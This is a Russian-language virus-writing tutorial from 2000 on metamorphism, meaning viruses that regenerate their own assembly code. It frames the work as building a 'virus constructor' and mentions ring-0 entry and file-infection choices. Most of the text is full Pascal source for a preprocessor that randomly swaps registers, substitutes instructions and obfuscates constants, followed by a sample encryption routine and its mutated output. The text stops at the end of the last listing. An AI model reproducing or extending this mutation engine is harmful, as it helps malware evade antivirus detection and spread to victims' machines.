Термины:
Метаморфизм -- генерация вирусом своего ассемблерного кода.
В этом тексте изложим некоторые мысли именно по поводу генерации нового кода.
Итак, надо научиться генерить код:
Два сгенеренных таким образом вируса могут различаться:
Уровень алгоритма здесь означает примерно следующее: вирус состоит из "блоков", на каждый из которых имеется несколько вариантов, отличающихся по своей сути. Например переход в ring-0 через IDT либо GDT либо INT 2E либо VMM/..., заражение файлов в хеадер либо в последнюю секцию, и т.п.
Уровень команд означает что каждая "строка" псевдо-языка, в котором представлены такие алгоритмические блоки может быть представлена различными ассемблерными инструкциями, такие строки могут также иметь несколько вариантов, могут быть изменены и перемешаны.
Вот как это выглядит:
задача: вычислить выражение f(x)=10*sin(2*x)
------------------------ уровень "алгоритма" -------------------> | | f(x) = 10*sin(2*x) f(x) = sin(x)*cos(x)*20 | | ВАРИАНТ 1 ВАРИАНТ 2 | | t = x t = x уровень t = t * 2 a = sin(t) "команд" t = sin(t) b = cos(t) | t = t * 10 t = a * b | t = t * 20 | | ВАРИАНТ 3 ВАРИАНТ 4 | | t = 2 * x b = cos(x) | a = sin(t) t = 20 * b | t = 10 * a a = sin(x) | t = t * a
Очевидно, что пока еще нет возможности автоматически изменять программу на уровне алгоритма. Поэтому это ваше дело, сколько различных вариантов одних и тех же действий вы зададите, но одно ясно - чем больше, тем лучше. Далее мы будем рассматривать только уровень команд.
Итак, вот мы выбрали один из алоритмов. Вопросы тут такие:
Генерацию именно ассемблерного кода пока оставим, а все инструкции будем представлять в виде текста. Короче говоря, пишем вирусный конструктор. Чтобы потом из конструктора сделать компилятор, вместо writeln('nop') (для наглядности будем юзать паскаль) надо просто генерить сооветствующие опкоды.
Далее будем руководствоваться тем, что в алгоритме не используются регистры, а только переменные. А вот операции с этими переменными осуществляются уже посредством регистров. Это дает нам возможность:
Итак, на уровне переменных нам достаточно следующих основных команд-макросов:
Уровень переменных:
mov v, c mov v1, [v2] mov [v1], v2 cmd v1, v2 ; cmd = add/sub/xor/rol/ror
Уровень регистров: (используются предыдущими макросами)
mov v, c mov r, c mov v, r mov v1, [v2] mov r2, v2 mov r1, [r2] mov v1, r1 mov [v1], v2 mov r1, v1 mov r2, v2 mov [r1], r2 mov v1, v2 mov r, v2 mov v1, r cmd v1, v2 mov r1, v1 mov r1, v1 mov r2, v2 mov r2, v2 cmd r1, v2 cmd v1, r2 cmd r1, r2 mov v1, r1 mov v1, r1 mov r, v mov r1, offset v mov r, v mov r, [r1] mov v, r mov r1, offset v mov v, r mov [r1], r mov r, c ...
Чтобы продемонстрировать уровни команд и регистров, напишем такую вот несложную программу-препроцессор: asmx.pas Вызывается программа так: asmx.exe 1.src 1.asm В конце текста приведен исходник и что получается в результате.
Написав с использованием таких вещей вирус можно уже сделать нечто похожее на конструктор, правда без "алгоритмического" уровня.
Итак, следующим шагом является представление всего вируса в подобном псевдо-коде с различными вариантами алгоритмов и замена в нижеприведенном примере генерации текста на геренацию опкодов. Но это в следующий раз. ;-)
* * *
(x) 2000 Z0MBiE, http://z0mbie.host.sk
---[begin ASMX.PAS]--------------------------------------------------------- {$A+,B-,D+,E-,F-,G+,I-,L+,N+,O-,P-,Q-,R-,S-,T-,V+,X+,Y+} {$M 16384,0,0} uses crt, dos; procedure outcmd(c,d,s:string); forward; procedure reg_alloc(var r:string); forward; procedure reg_free(var r:string); forward; procedure reg_xchg(var r:string); forward; procedure cmd_r_r(cmd,r1,r2:string); forward; procedure cmd_v_r(cmd,v,r:string); forward; procedure cmd_r_v(cmd,r,v:string); forward; procedure mov_x_x(x1,x2:string); forward; procedure mov_x_c(x,c:string); forward; procedure mov_r_c(r,c:string); forward; procedure mov_r_offsv(r,v:string); forward; procedure mov_r_memr(r1,r2:string); forward; procedure mov_memr_r(r1,r2:string); forward; procedure mov_r_v(r,v:string); forward; procedure mov_v_r(v,r:string); forward; procedure mov_v_c(v,c:string); forward; procedure mov_v_memv(v1,v2:string); forward; procedure mov_memv_v(v1,v2:string); forward; procedure cmd_v_v(cmd,v1,v2:string); forward; var infile, outfile : text; { outcmd: здесь легко реализуется добавление инструкций в список и последующее их перемешивание } procedure outcmd(c,d,s:string); begin if (d='') or (s='') then writeln(outfile,c,' ',d,s) else writeln(outfile,c,' ',d,', ',s); end; const hexchar:array[0..15] of char = '0123456789ABCDEF'; const regtotal = 8; regcount:integer=regtotal; regused:array[1..regtotal] of integer = (0,0,0,0,0,0,0,0); regname:array[1..regtotal] of string[3] = ('eax','ecx','edx','ebx','esp','ebp','esi','edi'); { пометить регистр как используемый } procedure reg_use(r:string); var i:integer; begin for i:=1 to regtotal do if regname[i]=r then if regused[i]=0 then begin regused[i]:=1; dec(regcount); exit; end; end; { рандомно выделить регистр } procedure reg_alloc(var r:string); var i:integer; begin if regcount=0 then halt(1); repeat i:=1+random(regtotal); until regused[i]=0; r:=regname[i]; regused[i]:=1; dec(regcount); end; { оснвободить регистр } procedure reg_free(var r:string); var i:integer; begin if regcount=0 then halt(2); for i:=1 to regtotal do if regname[i]=r then begin if regused[i]<>1 then halt(4); regused[i]:=0; inc(regcount); r:=''; exit; end; halt(3); end; procedure mov_x_x(x1,x2:string); { x1=v/r, x2=v/r, x1!=v||x2!=v } begin case random(5) of 0: begin outcmd('push','',x2); outcmd('pop',x1,''); end; else begin outcmd('mov',x1,x2); end; end; end; { (рандомно) пере-выделить регистр, то бишь изменить его на другой } procedure reg_xchg(var r:string); var r1:string; begin if regcount=0 then exit; if random(3)<>0 then exit; reg_alloc(r1); mov_x_x(r1,r); reg_free(r); r:=r1; end; procedure cmd_r_r(cmd,r1,r2:string); begin outcmd(cmd,r1,r2); end; procedure cmd_v_r(cmd,v,r:string); begin outcmd(cmd,v,r); end; procedure cmd_r_v(cmd,r,v:string); begin outcmd(cmd,r,v); end; procedure mov_x_c(x,c:string); { x=v/r } var i:integer; l:string; begin l := '0'; for i:=0 to 7 do l:=l+hexchar[random(16)]; l:=l+'h'; case random(5) of 0: begin mov_x_c(x,'('+c+')+'+l); outcmd('sub',x,l); end; 1: begin mov_x_c(x,'('+c+')-'+l); outcmd('add',x,l); end; else begin mov_x_x(x,c); end; end; end; procedure mov_r_c(r,c:string); begin mov_x_c(r,c); end; procedure mov_r_offsv(r,v:string); begin outcmd('lea',r,v); { mov r, offset v } end; procedure mov_r_memr(r1,r2:string); begin mov_x_x(r1,'dword ptr ['+r2+']'); { mov r1, [r2] } end; procedure mov_memr_r(r1,r2:string); begin mov_x_x('dword ptr ['+r1+']',r2); { mov [r1], r2 } end; procedure mov_r_v(r,v:string); var r1:string; begin case random(3) of 0: begin mov_x_x(r,v); { mov r, v } end; 1: begin reg_alloc(r1); mov_r_offsv(r1,v); { mov r1, offset v } reg_xchg(r1); mov_r_memr(r,r1); { mov r, [r1] } reg_free(r1); end; 2: begin mov_r_offsv(r,v); { mov r, offset v } mov_r_memr(r,r); { mov r, [r] } end; end; end; procedure mov_v_r(v,r:string); var r1:string; begin case random(2) of 0: begin mov_x_x(v,r); { mov v, r } end; 1: begin reg_alloc(r1); mov_r_offsv(r1,v); { mov r1, offset v } reg_xchg(r1); mov_memr_r(r1,r); { mov [r1], r } reg_free(r1); end; end; end; procedure mov_v_c(v,c:string); var r:string; begin case random(2) of 0: begin mov_x_c(v,c); { mov v, c } end; 1: begin reg_alloc(r); mov_r_c(r,c); { mov r, c } reg_xchg(r); mov_v_r(v,r); { mov v, r } reg_free(r); end; end; end; procedure mov_v_memv(v1,v2:string); var r1,r2:string; begin reg_alloc(r2); mov_r_v(r2,v2); { mov r2, v2 } reg_xchg(r2); reg_alloc(r1); mov_r_memr(r1,r2); { mov r1, [r2] } reg_free(r2); reg_xchg(r1); mov_v_r(v1,r1); { mov v1, r1 } reg_free(r1); end; procedure mov_memv_v(v1,v2:string); var i,j:integer; r1,r2:string; begin j:=random(2); for i:=j to j+1 do if odd(i) then begin reg_alloc(r1); mov_r_v(r1,v1); { mov r1, v1 } reg_xchg(r1); end else begin reg_alloc(r2); mov_r_v(r2,v2); { mov r2, v2 } reg_xchg(r2); end; mov_memr_r(r1,r2); { mov [r1], r2 } reg_free(r1); reg_free(r2); end; procedure cmd_v_v(cmd,v1,v2:string); var i,j:integer; r1,r2:string; begin case random(3) of 0: begin reg_alloc(r2); mov_r_v(r2,v2); { mov r2,v2 } reg_xchg(r2); cmd_v_r(cmd,v1,r2); { cmd v1,r2 } reg_free(r2); end; 1: begin reg_alloc(r1); mov_r_v(r1,v1); { mov r1,v1 } reg_xchg(r1); cmd_r_v(cmd,r1,v2); { cmd r1,v2 } reg_xchg(r1); mov_v_r(v1,r1); { mov v1,r1 } reg_free(r1); end; 2: begin j:=random(2); for i:=j to j+1 do if odd(i) then begin reg_alloc(r1); mov_r_v(r1,v1); { mov r1, v1 } reg_xchg(r1); end else begin reg_alloc(r2); mov_r_v(r2,v2); { mov r2, v2 } reg_xchg(r2); end; cmd_r_r(cmd,r1,r2); { cmd r1, r2 } reg_free(r2); reg_xchg(r1); mov_v_r(v1,r1); { mov v1, r1 } reg_free(r1); end; end; end; procedure process_string(t:string); var p1,p2,p3,p4:string; begin writeln(outfile,';; ',t); move(t,mem[prefixseg:$80],128); p1:=paramstr(1); p2:=paramstr(2); p3:=paramstr(3); p4:=paramstr(4); if p1='reg_use' then reg_use(p2); if p1='reg_free' then reg_free(p2); if p1='mov_v_c' then mov_v_c(p2,p3); if p1='mov_v_memv' then mov_v_memv(p2,p3); if p1='mov_memv_v' then mov_memv_v(p2,p3); if p1='cmd_v_v' then cmd_v_v(p2,p3,p4); if p1='mov_v_r' then mov_v_r(p2,p3); if p1='mov_r_v' then mov_r_v(p2,p3); end; var s:string; begin if paramcount<>2 then begin writeln('syntax: ASMX infile outfile'); halt; end; randomize; clrscr; writeln('asmx: ',paramstr(1),' --> ',paramstr(2)); assign(infile, paramstr(1)); reset(infile); if ioresult<>0 then halt(10); assign(outfile, paramstr(2)); rewrite(outfile); if ioresult<>0 then halt(11); while not eof(infile) do begin readln(infile, s); if s[1]<>'#' then begin writeln(outfile, s); end else begin delete(s,1,1); process_string(s); end; end; close(outfile); close(infile); end. ---[end ASMX.PAS]----------------------------------------------------------- ---[begin 1.SRC]------------------------------------------------------------ ; текст для обработки препроцессором ; input: ESI=buffer ; ECX=size #reg_use esp #reg_use ebp encrypt: sub esp, 20 arg_index = dword ptr [esp+0] arg_count = dword ptr [esp+4] arg_4 = dword ptr [esp+8] arg_a = dword ptr [esp+12] arg_b = dword ptr [esp+16] # reg_use esi # reg_use ecx # mov_v_r arg_index esi # mov_v_r arg_count ecx # reg_free esi # reg_free ecx __cycle: # mov_v_memv arg_a arg_index # mov_v_c arg_b 0FFFFFFFFh # cmd_v_v xor arg_a arg_b # mov_memv_v arg_index arg_a # mov_v_c arg_4 4 # cmd_v_v add arg_index arg_4 # cmd_v_v sub arg_count arg_4 jnc __cycle add esp, 20 ret ---[end 1.SRC]-------------------------------------------------------------- ---[begin 1.ASM]------------------------------------------------------------ ; результат работы препроцессора ; input: ESI=buffer ; ECX=size ;; reg_use esp ;; reg_use ebp encrypt: sub esp, 20 arg_index = dword ptr [esp+0] arg_count = dword ptr [esp+4] arg_4 = dword ptr [esp+8] arg_a = dword ptr [esp+12] arg_b = dword ptr [esp+16] ;; reg_use esi ;; reg_use ecx ;; mov_v_r arg_index esi push esi pop arg_index ;; mov_v_r arg_count ecx mov arg_count, ecx ;; reg_free esi ;; reg_free ecx __cycle: ;; mov_v_memv arg_a arg_index mov esi, arg_index mov ecx, dword ptr [esi] push ecx pop arg_a ;; mov_v_c arg_b 0FFFFFFFFh mov esi, ((((0FFFFFFFFh)-0EC1AAA3Fh)+0BFBE44BBh)+03B0F2183h)+0F48E7CC5h sub esi, 0F48E7CC5h sub esi, 03B0F2183h sub esi, 0BFBE44BBh add esi, 0EC1AAA3Fh mov edx, esi lea esi, arg_b mov edi, esi mov dword ptr [edi], edx ;; cmd_v_v xor arg_a arg_b lea ecx, arg_a mov ecx, dword ptr [ecx] xor ecx, arg_b mov arg_a, ecx ;; mov_memv_v arg_index arg_a lea ecx, arg_index mov ebx, ecx push dword ptr [ebx] pop edi mov edx, edi lea ecx, arg_a mov esi, ecx mov eax, dword ptr [esi] mov dword ptr [edx], eax ;; mov_v_c arg_4 4 mov ecx, ((4)-0EC5AF651h)-0EBD0C63Fh add ecx, 0EBD0C63Fh add ecx, 0EC5AF651h mov arg_4, ecx ;; cmd_v_v add arg_index arg_4 lea eax, arg_4 mov eax, dword ptr [eax] push eax pop edx mov ebx, arg_index add ebx, edx lea eax, arg_index mov dword ptr [eax], ebx ;; cmd_v_v sub arg_count arg_4 lea edx, arg_count push dword ptr [edx] pop ecx sub ecx, arg_4 mov esi, ecx mov arg_count, esi jnc __cycle add esp, 20 ret ---[end 1.A